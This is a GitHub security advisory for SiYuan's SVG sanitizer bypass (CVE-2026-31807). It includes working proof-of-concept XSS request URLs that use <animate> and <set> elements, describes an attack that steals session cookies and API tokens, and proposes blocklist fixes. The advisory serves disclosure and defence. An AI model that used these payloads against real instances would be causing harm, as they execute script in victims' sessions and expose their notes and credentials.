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SiYuan has a SVG Sanitizer Bypass via `<animate>` Element — Unauthenticated XSS

Moderate severity GitHub Reviewed Published Mar 9, 2026 in siyuan-note/siyuan

Package

gomod github.com/siyuan-note/siyuan/kernel (Go)

Affected versions

< 0.0.0-20260310025236-297bd526708f

Patched versions

0.0.0-20260310025236-297bd526708f

Description

SVG Sanitizer Bypass via <animate> Element — Unauthenticated XSS

Summary

SiYuan's SVG sanitizer (SanitizeSVG) blocks dangerous elements (<script>, <iframe>, <foreignobject>) and removes on* event handlers and javascript: in href attributes. However, it does NOT block SVG animation elements (<animate>, <set>) which can dynamically set attributes to dangerous values at runtime, bypassing the static sanitization. This allows an attacker to inject executable JavaScript into the unauthenticated /api/icon/getDynamicIcon endpoint (type=8), creating a reflected XSS.

This is a bypass of the fix for CVE-2026-29183 (fixed in v3.5.9).

Affected Component

  • File: kernel/util/misc.go
  • Function: SanitizeSVG() (lines 234-319)
  • Endpoint: GET /api/icon/getDynamicIcon?type=8&content=... (unauthenticated)
  • Version: SiYuan <= 3.5.9

Root Cause

The sanitizer checks attributes on elements at parse time. SVG <animate> and <set> elements modify attributes at runtime — these elements are not in the sanitizer's blocklist.

Sanitizer's blocklist (line 250)

if tag == "script" || tag == "iframe" || tag == "object" || tag == "embed" || tag == "foreignobject" {
    n.RemoveChild(c)
    // ...
}

Missing from blocklist: animate, set, animateTransform, animateMotion

Attribute check (lines 264-267)

// Only checks static attributes
if strings.HasPrefix(key, "on") {
    continue
}

The <animate> element's values attribute contains the payload (javascript:...), but the sanitizer only checks for on* prefix, href, or xlink:href keys. The values, to, from, attributeName attributes are all passed through.

Proof of Concept

Vector 1: <animate> sets href to javascript:

GET /api/icon/getDynamicIcon?type=8&content=</text><a><animate attributeName="href" values="javascript:alert(document.domain)" begin="0s" fill="freeze"/><text x="50%25" y="80%25" fill="red" style="font-size:60px">Click me</text></a><text>&color=blue

After template rendering, the SVG contains:

<svg ...>
    <text ...></text>
    <a>
        <animate attributeName="href" values="javascript:alert(document.domain)" begin="0s" fill="freeze"/>
        <text x="50%" y="80%" fill="red" style="font-size:60px">Click me</text>
    </a>
    <text></text>
</svg>

The sanitizer passes this through because:

  1. <animate> is not in the element blocklist
  2. attributeName="href" — key is attributename, doesn't start with on, not href itself
  3. values="javascript:..." — key is values, not href

When the SVG is rendered in the browser (navigating directly to the URL), <animate> sets the parent <a> element's href to javascript:alert(document.domain). Clicking "Click me" triggers the JavaScript.

Vector 2: <set> modifies event handlers

GET /api/icon/getDynamicIcon?type=8&content=</text><set attributeName="onmouseover" to="alert(document.domain)"/><text>&color=blue

The <set> element dynamically adds an onmouseover event handler to the parent element at runtime.

Attack Scenario

  1. Attacker crafts a malicious getDynamicIcon URL with XSS payload
  2. Attacker sends the URL to a victim who has an active SiYuan session
  3. Victim clicks/navigates to the URL
  4. SVG renders with Content-Type image/svg+xml — browser renders as standalone SVG document
  5. JavaScript executes in the SiYuan server's origin
  6. Attacker steals session cookies, API tokens, or makes authenticated API calls to read/modify notes

Impact

  • Severity: CRITICAL (CVSS ~9.1)
  • Type: CWE-79 (Improper Neutralization of Input During Web Page Generation)
  • Unauthenticated reflected XSS via SVG injection
  • Executes in the SiYuan application origin, giving full access to authenticated APIs
  • Can chain to: data exfiltration, note modification, configuration theft (API tokens, auth codes)
  • Bypasses the fix for CVE-2026-29183

Suggested Fix

Add animation elements to the sanitizer blocklist:

// In SanitizeSVG, line 250:
if tag == "script" || tag == "iframe" || tag == "object" || tag == "embed" ||
   tag == "foreignobject" || tag == "animate" || tag == "set" ||
   tag == "animatetransform" || tag == "animatemotion" {
    n.RemoveChild(c)
    c = next
    continue
}

Or additionally check the values, to, and from attributes for javascript: patterns:

if key == "values" || key == "to" || key == "from" {
    if strings.Contains(val, "javascript:") {
        continue
    }
}

Also consider checking attributeName — if it targets href, xlink:href, or any on* attribute, the animation element should be removed entirely.

References

@88250 88250 published to siyuan-note/siyuan Mar 9, 2026
Published by the National Vulnerability Database Mar 10, 2026
Published to the GitHub Advisory Database Mar 10, 2026
Reviewed Mar 10, 2026

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements None
Privileges Required None
User interaction Passive
Vulnerable System Impact Metrics
Confidentiality None
Integrity None
Availability None
Subsequent System Impact Metrics
Confidentiality High
Integrity High
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(8th percentile)

Weaknesses

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users. Learn more on MITRE.

CVE ID

CVE-2026-31807

GHSA ID

GHSA-5hc8-qmg8-pw27

Source code

Credits

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